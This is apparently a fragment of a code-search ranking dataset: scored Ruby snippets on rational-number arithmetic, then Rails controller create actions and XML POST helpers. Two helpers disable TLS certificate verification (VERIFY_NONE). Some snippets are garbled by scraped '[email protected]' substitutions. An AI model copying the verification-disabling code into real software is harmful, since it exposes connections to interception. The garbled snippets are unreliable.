"a21226f2eaca801f559467da188ef4b6", "score": "0.6731059", "text": "def calculate_fractional\n (1.0 / @value - 1).rationalize\n end", "title": "" }, { "docid": "bbe9c2fae715184fcfae7c6ee97c794f", "score": "0.6665206", "text": "def RationalLiteral(value); end", "title": "" }, { "docid": "170059a7acff7bde59301574870b9e5e", "score": "0.65835875", "text": "def update_rational_number!(opts = {})\n update_rational_number({:force => true}.merge(opts))\n end", "title": "" }, { "docid": "c891c1efad82f1d4ad526a2dfc80c6f5", "score": "0.6564189", "text": "def dms_to_rational(sign, degrees, minutes, seconds = T.unsafe(nil)); end", "title": "" }, { "docid": "ce5120f02b72572e783de4abe5049412", "score": "0.6563308", "text": "def test_to_rational\r\n obj = Object.new\r\n assert_equal(obj.to_foorth_r, nil)\r\n end", "title": "" }, { "docid": "d7abe3cd246bf0c9286295c718cb7026", "score": "0.6544397", "text": "def to_f\n @numerator.to_f/@denominator.to_f\n end", "title": "" }, { "docid": "7d573281f757c2c1e29578aaafc219a0", "score": "0.6502198", "text": "def rationalize(*several_variants)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "dc06bcfaf19c71e6c021dbf1399e8f56", "score": "0.64832056", "text": "def exact_binary_rationalization(x)\n p, q = x, 1\n while p.modulo(1) != 0\n p *= 2.0\n q <<= 1 # q *= 2\n end\n Rational(p.to_i, q)\n end", "title": "" }, { "docid": "cdf42594f7befe2301a8e3f3749235a4", "score": "0.6469462", "text": "def q2r(q)\n r = q/(1.0-q)\n r.name = \"r\"\n r.long_name = \"mixing ratio\"\n r\n end", "title": "" }, { "docid": "96f640063c0826e28143ce48246a02d6", "score": "0.64682317", "text": "def rationalize(x)\n # Use the algorithm which has been found most efficient, rationalize_Knuth.\n rationalize_Knuth(x)\n end", "title": "" }, { "docid": "0cfbaafb3209914d76b28b98e2eba05b", "score": "0.64258194", "text": "def to_f; @int.to_f + @frac.to_f/(2**32); end", "title": "" }, { "docid": "4e1e40bfe7fc671ae9631727a0e1b1c4", "score": "0.6412559", "text": "def to_f\n return (numerator.to_f / denominator.to_f)\n end", "title": "" }, { "docid": "b7ab88adce76db86f00d4b542734d271", "score": "0.63797903", "text": "def test_Integer_InstanceMethods_denominator\n\t\tassert_equal(1, 1.denominator)\n\t\tassert_equal(2, 1.5.denominator)\n\t\tnum = 1.0/3\n\t\tnum.to_r\n\t\tassert_equal(18014398509481984, num.denominator)\n\tend", "title": "" }, { "docid": "ac4eba1cdbf9a25abe70a63898d6dc82", "score": "0.6348368", "text": "def rationalize_numerator_and_denominator!(*units)\n replace(numerator_units.rationalize!(*units) + denominator_units.rationalize!(*units))\n end", "title": "" }, { "docid": "b924d7020f2d49d1c5ea4972a124d689", "score": "0.63470715", "text": "def R(d)\n totient(d).to_f / (d-1)\nend", "title": "" }, { "docid": "00dc639b03ab2fc825d0705b0d410c00", "score": "0.6337967", "text": "def rationalize_numerator_and_denominator_units!(*units)\n @base_units.rationalize_numerator_and_denominator!(*units)\n initialize_attributes\n end", "title": "" }, { "docid": "7114129227a9e7d3dca6cb609f3ff46d", "score": "0.6334043", "text": "def exact_float_rationalization(x)\n f,e = Math.frexp(x)\n f = Math.ldexp(f, Float::MANT_DIG)\n e -= Float::MANT_DIG\n return Rational(f.to_i*(Float::RADIX**e.to_i), 1)\n end", "title": "" }, { "docid": "1d279887378ae57ad3536cbdb1a1ac37", "score": "0.63178", "text": "def rational_to_float(str)\n numerator, denominator = str.split('/')\n Rational(numerator, denominator).to_f\n end", "title": "" }, { "docid": "50ab94ae063a294a3416e23c6edaa4b3", "score": "0.6308569", "text": "def visit_rational(node)\n node.copy\n end", "title": "" }, { "docid": "28182e630be18b60e2b3b3f54af68110", "score": "0.6307243", "text": "def single_radical\n c = b = 1\n prime_factors.each do |p, e|\n q, r = e.mixed_fraction\n c *= p**q\n b *= p**(r*rational_degree)\n end\n [c, b, rational_degree]\n end", "title": "" }, { "docid": "eeb7a2325ffe86a3e647a8cd65ca3fa7", "score": "0.63043153", "text": "def fraction_to_decimal(num, den)\n\nend", "title": "" }, { "docid": "9b0faf1d0841664b2eb6d11d62e25590", "score": "0.630296", "text": "def to_s\n if @denominator == 1\n @numerator.to_s\n else\n @numerator.to_s+\"/\"[email protected]_s\n end\n end", "title": "" }, { "docid": "2b5c019e6beb39b4b067c6501fc7e030", "score": "0.6294379", "text": "def reciprocate!(options={})\n options[:simplify] ? Fraction.new(@denominator, @numerator).simplify! : Fraction.new(@denominator, @numerator)\n end", "title": "" }, { "docid": "d916681ae40a1ba455c36e92ab67343e", "score": "0.6276874", "text": "def *(rational)\n new_numerator = self.numerator * rational.numerator\n new_denominator = self.denominator * rational.denominator\n RationalNumber.new(new_numerator, new_denominator)\n end", "title": "" }, { "docid": "c21731e772b1af58f170ea1d796e6db4", "score": "0.6268189", "text": "def reciprocal() # Calcula el reciproco de una fraccion.\n \tFrac.new(@denominador, @numerador)\n end", "title": "" }, { "docid": "139fba5ac08fd9c451823f6860523c54", "score": "0.62074", "text": "def test_Integer_InstanceMethods_to_r\n\t\t# TODO\n\t\t# assert_equal(99.0, 99.rationalize)\n\t\t# assert_equal(-12345678.0, -12345678.rationalize(99))\n\tend", "title": "" }, { "docid": "f1001dda648019464a945421386fa87e", "score": "0.6192123", "text": "def to_rad\n self * TO_RAD\n end", "title": "" }, { "docid": "099cc6321a97ffcd30845297ad0341fb", "score": "0.615159", "text": "def -(rational)\n new_numerator = self.numerator * rational.denominator - self.denominator * rational.numerator\n new_denominator = self.denominator * rational.denominator\n RationalNumber.new(new_numerator, new_denominator)\n end", "title": "" }, { "docid": "10caeaf90fcf2f9f56845c51af3ebbca", "score": "0.6140248", "text": "def ==(rational)\n self.numerator * rational.denominator == self.denominator * rational.numerator\n end", "title": "" }, { "docid": "30f22ed95be77fd10bddf8db404eba1c", "score": "0.6135801", "text": "def quad_res_rat(a,p)\n if p % 2 == 0\n if p != 2\n return nil\n end\n r = a % 8\n if r % 2 == 0\t\n return 0\n elsif r == 7\n return 1\n else\n return -1\n end\n end\n r = NumberUtil::modPower(a, (p-1)/2, p)\n return r == p - 1 ? -1 : r\nend", "title": "" }, { "docid": "95c8ccd206107a99f890fe6a1cfc43a2", "score": "0.61314315", "text": "def use_rationals\n r1 = MyRational.new(3,4)\n r2 = r1 + r1 + MyRational.new(-5,2)\n puts r2.to_s\n (r2.add! r1).add! (MyRational.new(1,-4))\n puts r2.to_s\n puts r2.to_s2\n puts r2.to_s3\nend", "title": "" }, { "docid": "02d382d6a6fe89c57c04aec79be571a0", "score": "0.61120474", "text": "def mongoize\n { numerator: @numerator, denominator: @denominator, _type: 'QDM::Ratio' }\n end", "title": "" }, { "docid": "ad1f271d8efab7a98fe07b42b34c70ca", "score": "0.60999185", "text": "def to_s\n return \"#{numerator}/#{denominator}\"\n end", "title": "" }, { "docid": "df0e5911d190366e474199d1f1a838e8", "score": "0.60995704", "text": "def pi_div_rad \n 0.0174\n end", "title": "" }, { "docid": "030401516c191bdab9b70cad79171106", "score": "0.60965973", "text": "def denominator\n 1\n end", "title": "" }, { "docid": "e9bb95c113747801a8b6afa047b7ffb3", "score": "0.6090477", "text": "def / (a)\n if a.kind_of?(Rational)\n num = @numerator * a.denominator\n den = @denominator * a.numerator\n Rational(num, den)\n elsif a.kind_of?(Integer)\n raise ZeroDivisionError, \"division by zero\" if a == 0\n self / Rational.new!(a, 1)\n elsif a.kind_of?(Float)\n Float(self) / a\n else\n x, y = a.coerce(self)\n x / y\n end\n end", "title": "" }, { "docid": "31811ca0086f1fc5f7973cc4b2e58cdd", "score": "0.6082403", "text": "def to_f\n\t\tnum.to_f/denom\n\tend", "title": "" }, { "docid": "8eb25114f8b39243157f088b38190f68", "score": "0.6066374", "text": "def denominator\n sum = 1\n digits.times {|i| sum = (sum * 10) }\n sum\n end", "title": "" }, { "docid": "55a95c855fcd6e763dce00cf06dd9b80", "score": "0.6060417", "text": "def +(rational)\n new_numerator = self.numerator * rational.denominator + self.denominator * rational.numerator\n new_denominator = self.denominator * rational.denominator\n RationalNumber.new(new_numerator, new_denominator)\n end", "title": "" }, { "docid": "bbfb19ec2587eeb463c802702eabbb4a", "score": "0.6058715", "text": "def to_f\n return @num/@den.to_f\n end", "title": "" }, { "docid": "e3dc2afd4b3cee1a6d44b2df2182c289", "score": "0.6054582", "text": "def simplified\n Fraction.new(@numerator, @denominator).simplify!\n end", "title": "" }, { "docid": "8017e7e1fcad9c7cd27245c5cb72c2c8", "score": "0.60397863", "text": "def parse(num)\n # parse_rational(num) || parse_fractional(num) \n (parse_fractional(num) || parse_rational(num)).to_f\n end", "title": "" }, { "docid": "7c926d449e5682a833196b13b6d65356", "score": "0.59856135", "text": "def save_with_force_rational_numbers!\r\n # puts \"-- Saving #{self.name} #{self.updated_at.utc}\" if self.respond_to?(\"updated_at\")\r\n @_forced_rational_number = true\r\n self.save!\r\n @_forced_rational_number = false\r\n end", "title": "" }, { "docid": "b0bcc16e5010231990baf63c68fb35ac", "score": "0.5976771", "text": "def /(obj)\n denominator = self.denominator * obj.numerator\n numerator = self.numerator * obj.denominator\n\n return Number.new(numerator, denominator)\n end", "title": "" }, { "docid": "8db9e109d70b8a79750b065ee262af49", "score": "0.59588605", "text": "def test_Integer_InstanceMethods_to_r\n\t\tassert_equal(1/1, 1.to_r)\n\t\tassert_equal(-1/1, -1.to_r)\n\tend", "title": "" }, { "docid": "099dc802417c464f17cbd954fd6560b9", "score": "0.5955481", "text": "def to_f \n\t\[email protected]_f\n\t\[email protected]_f\n\t\ta/b\n\tend", "title": "" }, { "docid": "d0a401fa2f105241348b0022612b82df", "score": "0.5952745", "text": "def reciprocal\n\t\tRacional.new(@denominador,@numerador)\n\tend", "title": "" }, { "docid": "6276d7d2a0df70575f57f33c1648ff69", "score": "0.5950439", "text": "def rational_rating=(ratio)\n ratio = ratio.to_f\n self.rating = (Stars::Model.max_rating * ratio + 1).to_i\n end", "title": "" }, { "docid": "ca027c0f777af0d9806170a99cf2b160", "score": "0.5947379", "text": "def shift_to_rad\n Rational(Math::PI, 180)\n end", "title": "" }, { "docid": "dab9d42d23e2344df341962ae4de2e18", "score": "0.59374875", "text": "def to_f\n @num/@denom.to_f\n end", "title": "" }, { "docid": "eeb06e43382927698ab7522e4b6f89c5", "score": "0.5927571", "text": "def /(fraction, options={})\n numerator = @numerator * fraction.denominator\n denominator = @denominator * fraction.numerator\n options[:simplify] ? Fraction.new(numerator, denominator).simplify! : Fraction.new(numerator, denominator)\n end", "title": "" }, { "docid": "add444e8a6389eacf39d92d62ea4b199", "score": "0.5924158", "text": "def simplify!\n gcd = gcd(@numerator, @denominator)\n self.numerator = @numerator / gcd\n self.denominator = @denominator / gcd\n return self\n end", "title": "" }, { "docid": "96c9d084871ca2f213b689b4ecf439d0", "score": "0.5919504", "text": "def to_s\n to_s_fractional\n end", "title": "" }, { "docid": "43e37e9b92c7446202253291ae4d450a", "score": "0.59057254", "text": "def to_s(io = nil)\n \tif io \n __io_append(io,@numerator, DIV_ID, @denominator) \n else\n return \"#{@numerator}/#{@denominator}\"\n end\n io\n end", "title": "" }, { "docid": "641289a9744c24ede06e0984103457e7", "score": "0.59018064", "text": "def RationalLiteral(value)\n RationalLiteral.new(value: value, location: Location.default)\n end", "title": "" }, { "docid": "7fc13aef1524627b8d2462b4c77e4abf", "score": "0.5898309", "text": "def rational_for_offset(offset)\r\n @@rational_cache[offset] || Rational(offset, 86400) \r\n end", "title": "" }, { "docid": "c1354cc6cd960156b32de80088c0b72e", "score": "0.5891429", "text": "def inspect\n sprintf(\"Rational(%s, %s)\", @numerator.inspect, @denominator.inspect)\n end", "title": "" }, { "docid": "dd05e4211c0b05031675cf12ce6121f6", "score": "0.5887172", "text": "def rad\r\n return 1 if self == 1\r\n return self.prime_division.map{|x,y| x}.reduce(:*)\r\n end", "title": "" }, { "docid": "334012187bb5b0da3359605921809c48", "score": "0.58866626", "text": "def to_f\n @numer/@denomin.to_f\n end", "title": "" }, { "docid": "8c3d56cecf55eb42125f6b3a2c752a44", "score": "0.58819085", "text": "def reciprocal\n\t\tFraccion.new(@denomin,@numer)\n\tend", "title": "" }, { "docid": "0b912e6e55ab9787cb5b4a25256388f3", "score": "0.586054", "text": "def to_s\n ans = @num.to_s\n if @den != 1\n ans += \"/\"\n ans += @den.to_s\n end\n ans\n end", "title": "" }, { "docid": "245275ab6b0a7a2694cf84db76d2b5f5", "score": "0.58511645", "text": "def + r\n ans = MyRational.new(@num,@den)\n ans.add! r\n ans\n end", "title": "" }, { "docid": "245275ab6b0a7a2694cf84db76d2b5f5", "score": "0.58511645", "text": "def + r\n ans = MyRational.new(@num,@den)\n ans.add! r\n ans\n end", "title": "" }, { "docid": "a13732cf01e91c4f2c3d6bd42114f2c1", "score": "0.58450735", "text": "def rationalize(other)\n if other.is_a? Array\n raise \"Incorrect Dimensions\" unless self.size == other.size\n other = other.dup\n self.class.new(map { |i| i.rationalize other.shift })\n elsif other.is_a?(Integer) or other.is_a?(Float)\n self.class.new(map { |i| i.rationalize other })\n else\n super\n end\n end", "title": "" }, { "docid": "634033b3bb90783c83d0f523d42b8fc2", "score": "0.5844284", "text": "def to_s_fractional\n @fractional_odds.to_s\n end", "title": "" }, { "docid": "f899ed157d72d439432e3997b5ddc2c6", "score": "0.58441794", "text": "def tex_frac(r)\n\tn = r.numerator\n\td = r.denominator\n\n\tif d == 1\n\t\t\"#{n}\"\n\telsif n * d < 0\n\t\t\"-\\\\frac{#{n.abs}}{#{d.abs}}\"\n\telse\n\t\t\"\\\\frac{#{n}}{#{d}}\"\n\tend\nend", "title": "" }, { "docid": "39820dba065c010c925f62c593935e7e", "score": "0.58415884", "text": "def Ostrichto_b; @rational != 0; end", "title": "" }, { "docid": "ef8179a7b1c200667481d971da72a1eb", "score": "0.5826423", "text": "def ==(rational)\n \t@numerator * rational.denominator == @denominator * rational.numerator\n end", "title": "" }, { "docid": "42c85fc56755e40647533e87c1362acc", "score": "0.582621", "text": "def to_i\n Integer(@numerator.div(@denominator))\n end", "title": "" }, { "docid": "851a2ece1bdcd84f38fcf97a0f7f67c8", "score": "0.58194935", "text": "def rational_for_offset(offset)\n @@rational_cache[offset] || Rational(offset, 86400) \n end", "title": "" }, { "docid": "987aefe7c78a9609f7ec052e4452eadf", "score": "0.58101076", "text": "def e2r(e,prs=nil)\n prs = get_prs(e) if !prs\n prs = convert_units(prs,e.units)\n rratio = R / Rv\n r = rratio * e / (prs-e)\n r.name = \"r\"\n r.long_name = \"mixing ratio\"\n r\n end", "title": "" }, { "docid": "396541e662d4be50d5c2547146ab20f7", "score": "0.5808928", "text": "def to_s_fraction(values)\n return \"#{values[1] - values[0]} / #{values[1]}\"\n end", "title": "" }, { "docid": "395e129b6b483207d85e93097e77a7b1", "score": "0.5805946", "text": "def dms_to_rational(sign, degrees, minutes, seconds = nil)\n degrees = degrees.to_i\n minutes = minutes.to_i\n sign = sign == '-'.freeze ? -1 : 1\n\n if seconds\n Rational(sign * (degrees * 3600 + minutes * 60 + seconds.to_i), 3600)\n else\n Rational(sign * (degrees * 60 + minutes), 60)\n end\n end", "title": "" }, { "docid": "3510465c2dfc8d7f480e37ef45caa42c", "score": "0.5803017", "text": "def to_s\n numerator = \"\"\n denominator = \"\"\n @units.each_pair do |u, e|\n e_abs = e > 0 ? e : -e # This works with Complex too\n (e > 0 ? numerator : denominator) << \" #{u.to_s}#{\"**#{e_abs}\" if e_abs != 1}\"\n end\n \"#{numerator.lstrip}#{\"/\" + denominator.lstrip if not denominator.empty?}\"\n end", "title": "" }, { "docid": "d861e356b9f934e2daa5f24595f08e09", "score": "0.5793193", "text": "def r_div(a, b)\n r2n(a / b.to_r)\n end", "title": "" } ]
2582c614d5ef48aba25caa7e6155e8e7
POST /saidas POST /saidas.xml
[ { "docid": "aa73258549593c74130afde7d3b443b4", "score": "0.6284005", "text": "def create\n @saidas = Saida.new(params[:saida])\n\n respond_to do |format|\n if @saidas.save\n flash[:notice] = 'LANÇAMENTO SAIDA EFETUADO.'\n format.html { redirect_to(homes_path) }\n format.xml { render :xml => @saidas, :status => :created, :location => @saidas }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @saidas.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "d9b404c9747534beb653f54c4d90af88", "score": "0.6115342", "text": "def submit(stanza)\n @service.context.post(@path, stanza, {})\n end", "title": "" }, { "docid": "040b1dcc9c0431f2a79f0e6876ea2be5", "score": "0.60571414", "text": "def post( path, body = nil )\n body ? length = body.length.to_s : length = '0' \n parse( @access_token.post( DOSSIA_URL + '/dossia-restful-api/services/v3.0' + path, body, { 'Content-Type' => 'application/xml', 'Content-Length' => length } ) )\n end", "title": "" }, { "docid": "ff64f712ca5c171b73151901dc47c4f6", "score": "0.58440036", "text": "def postRequest\n assertRequestData\n assertRequestType\n req = Net::HTTP::Post.new(@uri.request_uri)\n req.add_field('Content-Type', 'text/xml')\n req.body = buildXmlRequest\n @response = sendRequest(req)\n return @response\n end", "title": "" }, { "docid": "74dc66a58eb7d0d9f52cff4bb2cdeb4e", "score": "0.580108", "text": "def post(options)\n wesabe.post(options)\n end", "title": "" }, { "docid": "adbd4063f9795c23205a346f6dfd3f22", "score": "0.5796924", "text": "def post uri, args = {}; Request.new(POST, uri, args).execute; end", "title": "" }, { "docid": "b7c8cfdcbb9934a18d37a49b045e63d4", "score": "0.57168967", "text": "def create\n @sauda = Sauda.new(sauda_params)\n respond_to do |format|\n if @sauda.save\n format.html { redirect_to @sauda, notice: 'Sauda was successfully created.' }\n format.json { render :show, status: :created, location: @sauda }\n else\n format.html { render :new }\n format.json { render json: @sauda.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7ef869887f33ef63796bbd6c9440070f", "score": "0.5681855", "text": "def create\n @saison = Saison.new(params[:saison])\n\n respond_to do |format|\n if @saison.save\n flash[:notice] = 'Saison was successfully created.'\n format.html { redirect_to(@saison) }\n format.xml { render :xml => @saison, :status => :created, :location => @saison }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @saison.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aaa7a94dcbd444789fe88352a4f07503", "score": "0.565173", "text": "def post(request_xml)\n response = typhoeus_response(request_xml)\n if content_type = response.headers['Content-Type']\n response.body.force_encoding content_type[/charset=(.*)/, 1]\n end\n response\n end", "title": "" }, { "docid": "8e7f6565369ea645086c63a0bd1072e5", "score": "0.56097776", "text": "def create\n @solicitante = Solicitante.new(params[:solicitante])\n\n respond_to do |format|\n if @solicitante.save\n format.html { redirect_to(@solicitante, :notice => 'Solicitante was successfully created.') }\n format.xml { render :xml => @solicitante, :status => :created, :location => @solicitante }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @solicitante.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4d71fba119f01903a04e7872871ac350", "score": "0.5597825", "text": "def create\n @saison = Saison.new(params[:saison])\n\t\n respond_to do |format|\n if @saison.save\n format.html { redirect_to(@saison, :notice => 'Saison was successfully created.') }\n format.xml { render :xml => @saison, :status => :created, :location => @saison }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @saison.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2c938e84bc31cdc71fe947ce8217f8be", "score": "0.5595581", "text": "def create\n @solicitud = Solicitud.new(params[:solicitud])\n respond_to do |format|\n if @solicitud.save\n flash[:notice] = 'La solicitud a sido correctamente creada.'\n format.html { redirect_to(@solicitud) }\n format.xml { render :xml => @solicitud, :status => :created, :location => @solicitud }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @solicitud.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15f2fc8b2ff047204e4d0e63321ba956", "score": "0.5589465", "text": "def create\n @spiga = Spiga.new(params[:spiga])\n\n respond_to do |format|\n if @spiga.save\n format.html { redirect_to(@spiga, :notice => 'Spiga was successfully created.') }\n format.xml { render :xml => @spiga, :status => :created, :location => @spiga }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @spiga.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "12f8b4c832804e780db1a4c8e974a3e0", "score": "0.5568641", "text": "def post_xml(e, doc, p = {})\n begin\n url = \"https://#{@username}:#{@password}@#{@host}#{@docroot}#{e}\"\n msg \"post to #{url}\", Logger::DEBUG\n params = { :content_type => \"application/xml\" }.merge! p\n params[:cookies] = $cookie if !$cookie.empty?\n resp = RestClient.post(url, doc.to_s, params )\n msg resp, Logger::DEBUG\n $cookie = resp.cookies unless resp.cookies.empty?\n msg \"got cookie #{$cookie}\", Logger::DEBUG unless resp.cookies.empty?\n # XML Document\n if (/<.+>/).match(resp)\n xmldoc = Nokogiri::XML(resp)\n else\n err_node = Nokogiri::XML::Node.new('err_node', xmldoc)\n err_node.content = resp\n xmldoc.root << err_node\n end\n rescue SocketError\n raise \"Host \" + @host + \" nicht erreichbar\"\n rescue Exception => e\n msg \"error parsing XML \" + e.to_s, Logger::DEBUG\n end\n if (xmldoc.nil? || !xmldoc.xpath(\"//err_node\").empty?)\n @posted_uuid = nil\n end\n if !xmldoc.nil?\n @posted_uuid = xmldoc.xpath(\"//uuid\")[0].text if !xmldoc.xpath(\"//uuid\").empty?\n end\n return xmldoc\n end", "title": "" }, { "docid": "2db28c12f21f8037da06f5c11ac2d419", "score": "0.5557357", "text": "def create\n @asiento = Asiento.new(params[:asiento])\n\n respond_to do |format|\n if @asiento.save\n format.html { redirect_to(@asiento, :notice => 'Asiento was successfully created.') }\n format.xml { render :xml => @asiento, :status => :created, :location => @asiento }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @asiento.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6fa6dae2dfa96cb3e48d9f42eb76ee7a", "score": "0.5526717", "text": "def create\n @ausencia = Ausencia.new(params[:ausencia])\n\n respond_to do |format|\n if @ausencia.save\n flash[:notice] = 'Ausencia was successfully created.'\n format.html { redirect_to(@ausencia) }\n format.xml { render :xml => @ausencia, :status => :created, :location => @ausencia }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ausencia.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "915a5e3d716e2ad5826f9ad81ed0b81e", "score": "0.55115783", "text": "def create\n @aetapa = Aetapa.new(params[:aetapa])\n\n respond_to do |format|\n if @aetapa.save\n format.html { redirect_to(@aetapa, :notice => 'Aetapa was successfully created.') }\n format.xml { render :xml => @aetapa, :status => :created, :location => @aetapa }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @aetapa.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "673aebb00b0ab8718e1b6ce9a307802a", "score": "0.5510994", "text": "def create\n @asignatura = Asignatura.new(params[:asignatura])\n\n respond_to do |format|\n if @asignatura.save\n flash[:notice] = 'Asignatura was successfully created.'\n format.html { redirect_to(@asignatura) }\n format.xml { render :xml => @asignatura, :status => :created, :location => @asignatura }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @asignatura.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b93452af308791505985bb6c0b28986d", "score": "0.5483645", "text": "def create\n @snikk = Snikk.new(params[:snikk])\n\n respond_to do |format|\n if @snikk.save\n format.html { redirect_to(@snikk, :notice => 'Snikk was successfully created.') }\n format.xml { render :xml => @snikk, :status => :created, :location => @snikk }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @snikk.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "137368900147c10d49e8222d0d8c3108", "score": "0.5469925", "text": "def create\n @asignatura = Asignatura.new(params[:asignatura])\n\n respond_to do |format|\n if @asignatura.save\n format.html { redirect_to(@asignatura, :notice => 'Asignatura was successfully created.') }\n format.xml { render :xml => @asignatura, :status => :created, :location => @asignatura }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @asignatura.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "186df250673ad40263c722b969befed2", "score": "0.54508764", "text": "def create\n @sasaeru = Sasaeru.new(sasaeru_params)\n\n respond_to do |format|\n if @sasaeru.save\n format.html { redirect_to @sasaeru, notice: 'Sasaeru was successfully created.' }\n format.json { render :show, status: :created, location: @sasaeru }\n else\n format.html { render :new }\n format.json { render json: @sasaeru.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4aee34661190c0c8b4a53d49041430da", "score": "0.5449268", "text": "def create\n @saque = Saque.new(saque_params)\n\n respond_to do |format|\n if @saque.save\n format.html { redirect_to @saque, notice: 'Saque was successfully created.' }\n format.json { render :show, status: :created, location: @saque }\n else\n format.html { render :new }\n format.json { render json: @saque.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad9ec5f640494901bf4c38728acc5951", "score": "0.5441899", "text": "def send(xml)\n if !@sid\n response = Nokogiri::XML::Document.parse(post(xml.root.to_xml)).root\n else\n body = <<-EOXML\n <body rid='#{@rid}'\n sid='#{@sid}'\n xmlns='http://jabber.org/protocol/httpbind'>\n EOXML\n doc = Nokogiri::XML::Document.parse(body)\n doc.root.add_child(xml.root) if xml.root\n response = Nokogiri::XML::Document.parse(post(doc.root.to_xml)).root.children.first\n @rid += 1\n end\n response\n end", "title": "" }, { "docid": "4f382773ce81799623f4baba7c4a98db", "score": "0.54207015", "text": "def post(url, request_xml)\n uri = URI(url)\n\n request = Net::HTTP::Post.new(uri)\n request.body = request_xml\n\n response = Net::HTTP.start(\n uri.hostname,\n uri.port,\n use_ssl: uri.scheme == 'https',\n # TODO MAKE THIS UNSUCK\n verify_mode: OpenSSL::SSL::VERIFY_NONE\n ) do |http|\n http.request(request)\n end\n\n response\n end", "title": "" }, { "docid": "513454ceac1f9d7b42866004be92c3be", "score": "0.5417994", "text": "def process(xml, options = {})\n url = URI.parse(webservices_url)\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.start {\n request = Net::HTTP::Post.new(url.to_s)\n request.body = xml\n response = http.request(request)\n response.body\n }\n end", "title": "" }, { "docid": "507073e54458ded9ff32fc037b0526a4", "score": "0.5415542", "text": "def create\n @naciona = Naciona.new(params[:naciona])\n\n respond_to do |format|\n if @naciona.save\n flash[:notice] = 'Naciona was successfully created.'\n format.html { redirect_to(@naciona) }\n format.xml { render :xml => @naciona, :status => :created, :location => @naciona }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @naciona.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85be642693f191733b8176413a400ca8", "score": "0.5414132", "text": "def post(request_xml)\n begin\n result ||= RestClient.post url, request_xml, :content_type => 'text/xml'\n rescue RestClient::Exception => error\n #Puppet.debug \"Failed REST #{m} to URL #{url}:\\nXML Format:\\n#{request_xml}\"\n raise Puppet::Error, \"\\n#{error.exception}:\\n#{error.response}\"\n end\n #Puppet.debug \"Cisco UCS Post: #{url} \\n Request:\\n#{request_xml} Response:\\n#{result.inspect}\"\n\n end", "title": "" }, { "docid": "a4cb489a9a87d9a477efc1c972d19f23", "score": "0.5413842", "text": "def create\n @shien_keikaku = ShienKeikaku.new(params[:shien_keikaku])\n\n respond_to do |format|\n if @shien_keikaku.save\n flash[:notice] = 'ShienKeikaku was successfully created.'\n format.html { redirect_to(@shien_keikaku) }\n format.xml { render :xml => @shien_keikaku, :status => :created, :location => @shien_keikaku }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @shien_keikaku.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33b3b3ef86060efd1797d50397fa49c8", "score": "0.54116863", "text": "def do_POST(req, res)\n domain, resource, id, format = parse_request_path(req.path_info)\n attributes = from_xml(resource, req.body)\n attributes['id'] = generate_id(req.body)\n attributes['created-at'] = attributes['updated-at'] = Time.now.iso8601\n\n logger.debug \"Creating item with attributes: #{attributes.inspect}\"\n sdb_put_item(domain, attributes, false)\n\n res.body = to_xml(resource, attributes)\n res['location'] = \"/#{domain}/#{resource}/#{id}.#{format}\"\n res['Content-Type'] = \"application/xml\"\n raise WEBrick::HTTPStatus::Created\n end", "title": "" }, { "docid": "f95fa9163f49f1073d4bde913edfff2a", "score": "0.53952116", "text": "def send_transaction\n body = build_xml_request\n\n headers = { }\n headers['Content-Length'] = body.size.to_s\n headers['User-Agent'] = \"Active Merchant -- http://activemerchant.org\"\n headers['Content-Type'] = 'application/x-www-form-urlencoded'\n\n # Return the raw response data\n ssl_post(Sermepa.operations_url, \"entrada=\"+CGI.escape(body), headers)\n end", "title": "" }, { "docid": "aa90f75b683a380a5fd7224733afbf5e", "score": "0.538784", "text": "def create(name=\"Default Name\", published=\"false\", genre=\"music\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <timeline>\r\n <published type='string'>#{published}</published>\r\n <description>#{name}</description>\r\n <genre>#{genre}</genre>\r\n </timeline>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n \r\n response.body \r\n end", "title": "" }, { "docid": "6f369bbbcb3e4a6b0db7ef14c0a92c46", "score": "0.5382075", "text": "def postXmlToWebservice(xml,url)\n host = url\n uri = URI.parse host\n request = Net::HTTP::Post.new uri.path\n request.body = xml\n request.content_type = 'application/soap+xml'\n response = Net::HTTP.new(uri.host, uri.port).start { |http| http.request request }\n return response.body\n end", "title": "" }, { 